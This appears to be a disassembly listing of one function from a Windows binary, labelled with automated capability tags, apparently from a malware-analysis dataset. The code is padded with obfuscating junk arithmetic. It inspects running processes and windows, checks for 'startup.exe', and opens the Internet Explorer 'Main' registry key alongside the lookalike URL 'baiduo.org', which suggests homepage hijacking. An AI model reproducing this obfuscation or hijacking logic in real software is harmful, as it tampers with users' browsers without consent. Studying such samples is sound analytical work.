Function at 0x41db90
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x447f3d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x112c
call fcn.0042d840
mov eax, dword [0x45b4b0]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov ecx, edx
mov ebx, dword [0x459b3c]
mov edi, dword [0x459b58]
mov eax, ebx
imul edi, edi, 0x3b76e
imul eax, eax, 0x426f4
shr ecx, 0x1f
add ecx, edx
add eax, ecx
add eax, edi
shl eax, 1
mov esi, eax
mov eax, 0x89cc5bfb
imul ebx
add edx, ebx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5764ae1b
imul dword [0x459b44]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [str._r_____r____], esi
mov esi, dword [0x459b40]
mov eax, 0x20ab631d
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10dc], eax
mov eax, 0x4c84c1e9
imul esi
mov eax, dword [ebp - 0x10dc]
sar edx, 0x12
add eax, edx
mov esi, edx
mov edx, dword [0x459b38]
shr esi, 0x1f
imul edx, edx, 0xd61e3
add esi, eax
mov eax, dword [0x459b50]
imul eax, eax, 0x1db98
add esi, edx
mov edx, dword [0x459b54]
sub esi, eax
mov eax, 0xf957fd3
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
xor ebx, ebx
add esi, ecx
add esi, edi
mov dword [ebp - 0x10f8], 0
mov dword [ebp - 4], ebx
mov dword [0x459b38], esi
mov dword [ebp - 0x10ec], ebx
lea ecx, [ebp - 0x10ec]
push ecx
mov byte [ebp - 4], 1
push 0x44a324
push 0x17
push ebx
push 0x44e8e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [0x459b44]
mov dword [ebp - 0x10dc], eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b40]
mov eax, 0xf6ddfe9
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xa89b51e5
imul dword [0x459b4c]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, dword [0x459b58]
sub eax, ebx
mov ebx, dword [0x459b48]
mov edx, ebx
imul edx, edx, 0xbb797
add eax, edx
mov edx, dword [0x459b38]
imul edx, edx, 0x20dab
mov edi, esi
imul edi, edi, 0x3b76e
add eax, edx
sub eax, dword [0x459b54]
add eax, ecx
lea eax, [eax + edi - 0xd61e3]
mov dword [0x459b40], eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
jge 0x41ddce
mov esi, dword [0x459b4c]
imul ebx, ebx, 0x20dab
mov eax, 0x415373e5
imul esi
imul esi, esi, 0x84de8
add ebx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
imul ecx, ecx, 0x70110
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b50]
sub esi, eax
add ebx, esi
add ecx, ebx
add ecx, edi
lea eax, [ecx + edx - 0xd61e3]
mov dword [0x459b44], eax
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x41ddc7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x42041b
mov ecx, dword [0x459b50]
mov eax, 0x3da796f7
imul ecx, ecx, 0x3eb37
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x89c36131
imul esi
add edx, esi
imul esi, esi, 0x9aa75
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
sub eax, esi
mov dword [0x459b48], eax
mov eax, dword [ebp - 0x10ec]
lea edx, [ebp - 0x1104]
push edx
mov dword [ebp - 0x1104], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [0x459b58]
mov eax, 0x5764ae1b
imul dword [0x459b54]
sar edx, 0x12
mov eax, ecx
imul eax, eax, 0x3b76e
mov dword [ebp - 0x10d4], eax
mov esi, edx
mov ebx, dword [0x459b50]
mov edi, dword [0x459b40]
imul ebx, ebx, 0x3eb04
shr esi, 0x1f
add esi, edx
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, dword [0x459b4c]
imul eax, eax, 0xd61e3
add ebx, eax
mov edx, edi
imul edx, edx, 0x1db98
add ebx, edx
mov eax, 0xf957fd3
imul dword [0x459b3c]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub ebx, eax
mov eax, dword [ebp - 0x1104]
add ebx, esi
mov dword [ebp - 0x10f0], esi
add ebx, dword [ebp - 0x10c8]
add ebx, edx
test eax, eax
mov dword [0x459b4c], ebx
je 0x41ddb3
mov esi, dword [0x459b48]
imul ebx, ebx, 0xd61e3
mov eax, esi
imul eax, eax, 0x3eb04
sub eax, ebx
mov dword [ebp - 0x10dc], eax
mov eax, 0xf6ddfe9
imul dword [0x459b3c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10dc]
sub edx, eax
mov eax, dword [0x459b44]
mov ebx, dword [ebp - 0x10c8]
imul eax, eax, 0x3b76e
sub edx, eax
mov eax, ecx
imul eax, eax, 0xc0332
add edx, ebx
add eax, edx
mov dword [0x459b50], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x41dfb4
mov ecx, dword [0x459b38]
mov eax, 0x89cc5bfb
imul ecx, ecx, 0x3eb37
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x491979d9
imul esi
mov esi, dword [ebp - 0x10f0]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
add ecx, edx
sub ecx, esi
add ecx, ebx
add ecx, eax
mov dword [0x459b54], ecx
mov ecx, 0x56d698
call fcn.00411c50
mov ecx, dword [0x459b58]
mov edi, dword [0x459b40]
mov esi, dword [0x459b48]
mov edx, dword [0x459b38]
imul edi, edi, 0x14cd8
imul ecx, ecx, 0x3b76e
mov eax, 0x415373e5
imul edx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
mov ebx, eax
mov eax, 0x20ab631d
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x459b54]
imul eax, eax, 0xd61e3
sub ebx, eax
add ebx, edi
mov edi, dword [0x459b44]
mov eax, 0x491979d9
imul edi
add ebx, ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
xor ebx, ebx
mov dword [0x459b58], ecx
mov dword [ebp - 0x10dc], ebx
lea ebx, [ebx]
cmp ebx, dword [ebp - 0x1104]
jge 0x42039a
mov esi, dword [0x459b3c]
imul ecx, ecx, 0x3b76e
mov edx, esi
imul edx, edx, 0x426f4
add ecx, edx
mov eax, 0x491979d9
imul edi
sar edx, 0x11
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
shl eax, 1
mov ecx, eax
mov eax, 0x89cc5bfb
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5764ae1b
imul edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x10e0], 0
mov eax, ebx
mov word [ebp - 0x1120], 3
mov dword [ebp - 0x1118], eax
mov edi, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x10ec]
mov edx, dword [ecx]
lea esi, [ebp - 0x10e0]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x111c]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1114]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1120]
push ecx
mov dword [ebp - 0x10c8], eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov edi, edx
mov ecx, dword [0x459b58]
shr edi, 0x1f
add edi, edx
mov edx, dword [0x459b40]
mov eax, 0xf6ddfe9
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xa89b51e5
imul dword [0x459b4c]
mov ebx, ecx
imul ebx, ebx, 0x3b76e
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
mov dword [ebp - 0x10d4], ebx
add eax, edx
sub eax, esi
mov esi, dword [0x459b48]
mov edx, esi
imul edx, edx, 0xbb797
add eax, edx
mov edx, dword [0x459b38]
imul edx, edx, 0x20dab
add eax, edx
sub eax, dword [0x459b54]
add eax, edi
lea ebx, [eax + ebx - 0xd61e3]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [0x459b40], ebx
jl 0x41e2d2
mov edx, dword [0x459b4c]
imul ebx, ebx, 0x1db98
mov eax, dword [0x459b50]
imul edx, edx, 0xd61e3
imul eax, eax, 0x3eb04
add eax, edx
add eax, ebx
mov dword [ebp - 0x10c8], eax
mov eax, 0x5764ae1b
imul dword [0x459b54]
mov eax, dword [ebp - 0x10c8]
sar edx, 0x12
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0xf957fd3
imul dword [0x459b3c]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10e0]
add ebx, edi
add ebx, dword [ebp - 0x10d4]
test eax, eax
mov dword [0x459b4c], ebx
mov dword [ebp - 0x10d0], 0
je 0x41e236
mov ecx, dword [eax]
lea edx, [ebp - 0x10d0]
push edx
push 0x44a36c
push eax
call dword [ecx]
mov ecx, dword [0x459b58]
mov esi, dword [0x459b48]
mov eax, ecx
imul eax, eax, 0x3b76e
mov dword [ebp - 0x10d4], eax
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x20ab631d
imul dword [0x459b40]
sar edx, 0xf
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x4c84c1e9
imul dword [0x459b40]
sar edx, 0x12
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [0x459b38]
imul eax, eax, 0xd61e3
add ebx, eax
mov eax, dword [0x459b50]
imul eax, eax, 0x1db98
sub ebx, eax
mov eax, 0xf957fd3
imul dword [0x459b54]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub ebx, eax
mov eax, dword [ebp - 0x10d0]
add ebx, edi
add ebx, edx
test eax, eax
mov dword [0x459b38], ebx
jne 0x41e2ef
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x420380
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x420374
mov ebx, dword [0x459b4c]
mov eax, 0x415373e5
imul ebx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x84de8
sub edx, eax
mov eax, esi
imul eax, eax, 0x20dab
add eax, edi
mov edi, dword [str._r_____r____]
imul edi, edi, 0x70110
add eax, edx
mov edx, dword [0x459b50]
add edi, eax
add edi, dword [ebp - 0x10d4]
lea edi, [edi + edx - 0xd61e3]
mov dword [0x459b44], edi
mov dword [ebp - 0x10e8], 0
imul esi, esi, 0x3eb04
imul ebx, ebx, 0xd61e3
mov eax, 0xf6ddfe9
imul ecx, ecx, 0xc0332
imul dword [0x459b3c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x3b76e
sub esi, ebx
sub esi, eax
sub esi, edx
mov eax, 0x491979d9
imul edi
sar edx, 0x11
add esi, ecx
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x459b50], eax
mov eax, dword [ebp - 0x10d0]
mov ecx, dword [eax]
lea edx, [ebp - 0x10e8]
push edx
push eax
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jge 0x41e3fc
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41e3cb
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 2
je 0x41e3df
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x420374
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x420374
mov edi, dword [0x459b50]
mov eax, 0x491979d9
imul dword [0x459b44]
mov ecx, edi
imul ecx, ecx, 0x426f4
sar edx, 0x11
mov ebx, dword [ebp - 0x10e8]
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x459b3c]
mov eax, 0x415373e5
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + esi*2 + 0x84bc4]
sub eax, ecx
test ebx, ebx
mov dword [0x459b3c], eax
mov dword [ebp - 0x10e4], 0
je 0x41e47d
mov ecx, dword [ebx]
lea edx, [ebp - 0x10e4]
push edx
push 0x44a37c
push ebx
call dword [ecx]
mov ebx, dword [ebp - 0x10e8]
mov edi, dword [0x459b50]
imul edi, edi, 0x3eb37
mov ecx, dword [0x459b58]
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x3da796f7
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x89c36131
imul ecx
mov eax, dword [ebp - 0x10e4]
add edx, ecx
sar edx, 0x11
add edi, edx
mov esi, edx
mov edx, ecx
imul edx, edx, 0x9aa75
shr esi, 0x1f
add esi, edi
sub esi, edx
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x459b48], esi
jne 0x41e501
test ebx, ebx
mov byte [ebp - 4], 4
je 0x420340
mov eax, dword [ebx]
push ebx
call dword [eax + 8]
jmp 0x420334
push 0
call fcn.0042d807
sub eax, dword [0x56d8f0]
add esp, 4
cmp eax, 0x708
jge 0x41e7f4
mov ecx, dword [0x459b3c]
mov edi, dword [0x459b58]
mov esi, dword [0x459b44]
imul edi, edi, 0x3b76e
mov eax, ecx
imul eax, eax, 0x426f4
add edi, eax
mov eax, 0x491979d9
imul esi
sar edx, 0x11
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
shl eax, 1
mov edi, eax
mov eax, 0x89cc5bfb
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5764ae1b
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, ecx
sub edi, eax
mov eax, dword [ebp - 0x10d0]
lea edx, [ebp - 0x110c]
push edx
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x110c]
lea eax, [ebp - 0x1100]
push eax
push ecx
mov dword [ebp - 0x1100], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x459b44]
mov edi, dword [0x459b50]
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ebx, dword [str._r_____r____]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b3c]
mov eax, 0x415373e5
imul edx
mov esi, edi
imul esi, esi, 0x426f4
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ecx
lea edx, [eax + esi*2 + 0x84bc4]
mov eax, dword [ebp - 0x1100]
sub edx, ebx
test eax, eax
mov dword [0x459b3c], edx
je 0x41f441
mov esi, dword [0x459b4c]
imul ebx, ebx, 0x70110
mov eax, 0x415373e5
imul esi
imul esi, esi, 0x84de8
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b58]
sub esi, eax
imul edx, edx, 0x3b76e
mov eax, dword [0x459b48]
imul eax, eax, 0x20dab
add esi, edx
mov edx, dword [ebp - 0x1100]
add eax, ecx
add eax, esi
push edx
add ebx, eax
push 0
lea ecx, [ebx + edi - 0xd61e3]
push 0x1f0fff
mov dword [0x459b44], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41e7f4
mov eax, dword [0x459b4c]
mov edi, dword [0x459b50]
imul eax, eax, 0xd61e3
mov ecx, dword [0x459b40]
imul edi, edi, 0x3eb04
imul ecx, ecx, 0x1db98
add edi, eax
add edi, ecx
mov ecx, dword [0x459b54]
mov eax, 0x5764ae1b
imul ecx
mov ecx, dword [0x459b3c]
sar edx, 0x12
add edi, edx
mov ebx, edx
mov edx, dword [0x459b58]
imul edx, edx, 0x3b76e
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0xf957fd3
imul ecx
mov ecx, dword [0x459b44]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x491979d9
imul ecx
mov al, byte [0x44ad36]
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
mov dx, word [0x44ad34]
add ecx, ebx
mov dword [0x459b4c], ecx
mov byte [ebp - 0x2c2], al
mov word [ebp - 0x2c4], dx
xor eax, eax
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
lea ecx, [ebp - 0x2c4]
push ecx
push 0
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x459b48]
mov esi, dword [0x459b38]
mov eax, 0x89cc5bfb
imul esi, esi, 0x3eb37
imul ecx
add edx, ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
sub esi, eax
mov eax, 0x5764ae1b
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b58]
imul edx, edx, 0x3b76e
sub esi, eax
add esi, edx
mov eax, 0x491979d9
imul ecx
mov ecx, dword [0x459b44]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
add esi, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
shr ecx, 0x1f
add ecx, esi
lea eax, [ebp - 0x2c4]
add ecx, edx
push str.startup.exe
push eax
mov dword [0x459b54], ecx
call fcn.0042dc70
add esp, 8
test eax, eax
jne 0x41f4c4
mov esi, dword [0x459b48]
mov edi, dword [0x459b38]
mov ecx, dword [0x459b54]
imul edi, edi, 0x3eb37
mov eax, 0x89cc5bfb
imul esi
add edx, esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5764ae1b
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x459b58]
mov edx, ecx
imul edx, edx, 0x3b76e
add edi, edx
mov eax, 0x491979d9
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
add edi, edx
mov eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
shr eax, 0x1f
add eax, edi
add eax, edx
mov edx, dword [ebp - 0x10f8]
mov dword [0x459b54], eax
mov eax, dword [ebp + 8]
inc edx
test eax, eax
mov dword [ebp - 0x10f8], edx
je 0x4202a1
push ecx
lea eax, [ebp - 0x10d0]
mov ecx, esp
mov dword [ebp - 0x10d8], esp
push eax
call fcn.004076b0
mov ecx, 0x56d698
call fcn.00406b60
test al, al
jne 0x42029b
mov edi, dword [0x459b3c]
mov esi, dword [0x459b58]
mov eax, 0x491979d9
imul esi, esi, 0x3b76e
imul dword [0x459b44]
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0x426f4
add edx, ecx
add edx, esi
shl edx, 1
mov ebx, edx
mov eax, 0x89cc5bfb
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x5764ae1b
imul dword [0x459b44]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b40]
sub ebx, eax
mov eax, 0xf6ddfe9
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b4c]
mov edi, eax
mov eax, 0xa89b51e5
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b48]
imul edx, edx, 0xbb797
sub eax, edi
add eax, edx
mov edx, dword [0x459b38]
imul edx, edx, 0x20dab
add eax, edx
mov dword [str._r_____r____], ebx
sub eax, dword [0x459b54]
add eax, ecx
lea eax, [eax + esi - 0xd61e3]
mov dword [0x459b40], eax
mov eax, dword [ebp - 0x10d0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1108]
push edx
push eax
call dword [ecx + 0x78]
mov esi, dword [0x459b50]
mov eax, dword [0x459b4c]
imul esi, esi, 0x3eb04
mov ecx, dword [0x459b40]
imul eax, eax, 0xd61e3
imul ecx, ecx, 0x1db98
add esi, eax
add esi, ecx
mov ecx, dword [0x459b54]
mov eax, 0x5764ae1b
imul ecx
sar edx, 0x12
mov edi, edx
add esi, edx
mov edx, dword [0x459b58]
shr edi, 0x1f
add edi, esi
mov ecx, dword [0x459b3c]
imul edx, edx, 0x3b76e
add edi, edx
mov eax, 0xf957fd3
imul ecx
mov ecx, dword [0x459b44]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x491979d9
imul ecx
sar edx, 0x11
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0x1108]
shr ecx, 0x1f
add ecx, edi
push edx
mov dword [0x459b4c], ecx
call fcn.004230b0
mov ecx, dword [0x459b3c]
mov edi, dword [0x459b58]
mov esi, dword [0x459b44]
imul edi, edi, 0x3b76e
mov dword [ebp - 0x10f4], eax
mov eax, ecx
imul eax, eax, 0x426f4
add edi, eax
mov eax, 0x491979d9
imul esi
sar edx, 0x11
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
shl eax, 1
mov edi, eax
mov eax, 0x89cc5bfb
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5764ae1b
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, ecx
sub edi, eax
mov eax, dword [ebp - 0x10e4]
lea edx, [ebp - 0x1110]
push edx
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push eax
xor esi, esi
call dword [ecx + 0x90]
mov edx, dword [0x459b44]
mov edi, dword [0x459b50]
mov ecx, eax
imul edi, edi, 0x426f4
mov eax, 0x491979d9
imul edx
sar edx, 0x11
add edi, edx
mov ebx, edx
mov edx, dword [0x459b3c]
mov eax, 0x415373e5
imul edx
sar edx, 0x10
mov eax, edx
shr ebx, 0x1f
add ebx, edi
shr eax, 0x1f
add eax, edx
lea edx, [eax + ebx*2 + 0x84bc4]
sub edx, dword [str._r_____r____]
test ecx, ecx
mov dword [0x459b3c], edx
jne 0x41eb18
mov eax, dword [ebp - 0x1110]
push eax
call fcn.004230b0
mov esi, eax
push 0
call fcn.0042d807
sub eax, dword [0x56d654]
add esp, 4
cmp eax, 5
jle 0x41fa36
test esi, esi
je 0x41eb52
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41eb40
sub eax, edx
cmp eax, 5
ja 0x41fa36
mov ecx, dword [0x459b4c]
mov eax, 0x415373e5
imul ecx
imul ecx, ecx, 0x84de8
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b58]
sub ecx, eax
imul edx, edx, 0x3b76e
mov eax, dword [0x459b48]
imul eax, eax, 0x20dab
add ecx, edx
mov edx, dword [0x459b44]
add ecx, eax
mov edi, dword [0x459b50]
mov eax, 0x491979d9
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x70110
add eax, edi
add eax, ecx
lea eax, [edx + eax - 0xd61e3]
mov dword [0x459b44], eax
mov eax, str.http:__www.baiduo.org_
lea ecx, [ebp - 0x1c4]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x41ebd0
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.00422f50
mov dword [ebp - 0x10d8], eax
mov ecx, dword [0x459b38]
mov eax, 0x491979d9
imul dword [0x459b44]
sar edx, 0x11
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x415373e5
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x20ab631d
imul ecx
mov eax, dword [0x459b40]
sar edx, 0xf
imul eax, eax, 0x14cd8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b54]
imul edx, edx, 0xd61e3
sub esi, ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sub esi, edx
mov edx, dword [0x459b58]
add eax, ebx
imul edx, edx, 0x3b76e
add eax, esi
add edx, eax
mov eax, dword [0x44ad18]
mov dword [ebp - 0x140], eax
mov eax, dword [0x44ad20]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x44ad1c]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x13c], ecx
mov cl, byte [0x44ad24]
xor eax, eax
mov byte [ebp - 0x134], cl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [0x459b58], edx
imul edx, edx, 0x3b76e
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x459b3c]
mov eax, ecx
imul eax, eax, 0x426f4
add edx, ebx
add eax, edx
shl eax, 1
movsw word es:[edi], word [esi]
mov esi, eax
mov eax, 0x89cc5bfb
imul ecx
add edx, ecx
sar edx, 0x10
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5764ae1b
imul dword [0x459b44]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
sub esi, ecx
mov dword [ebp - 0x10fc], 0
add eax, edx
lea ecx, [ebp - 0x10fc]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x40]
push edx
sub esi, eax
push SysReAllocStringLen
mov dword [str._r_____r____], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41efe2
mov ecx, dword [0x459b44]
mov edi, dword [0x459b58]
mov eax, 0x491979d9
imul ecx
mov ecx, dword [0x459b50]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x3da796f7
imul edi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, ecx
imul ebx, ebx, 0x3eb37
sub ebx, eax
mov eax, 0x89c36131
imul edi
add edx, edi
sar edx, 0x11
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x459b40]
mov edx, edi
imul edi, edi, 0x3b76e
imul edx, edx, 0x9aa75
sub eax, edx
mov dword [0x459b48], eax
mov eax, 0x20ab631d
imul ebx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x4c84c1e9
imul ebx
mov eax, dword [ebp - 0x10c8]
sar edx, 0x12
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, dword [0x459b38]
imul eax, eax, 0xd61e3
add ebx, eax
mov edx, ecx
imul ecx, ecx, 0x3eb04
imul edx, edx, 0x1db98
sub ebx, edx
mov eax, 0xf957fd3
imul dword [0x459b54]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b4c]
sub ebx, eax
imul edx, edx, 0xd61e3
mov eax, dword [0x459b40]
imul eax, eax, 0x1db98
add ecx, edx
add ecx, eax
mov eax, 0x5764ae1b
imul dword [0x459b54]
add ebx, esi
add ebx, edi
sar edx, 0x12
mov dword [0x459b38], ebx
mov ebx, edx
add ecx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x459b3c]
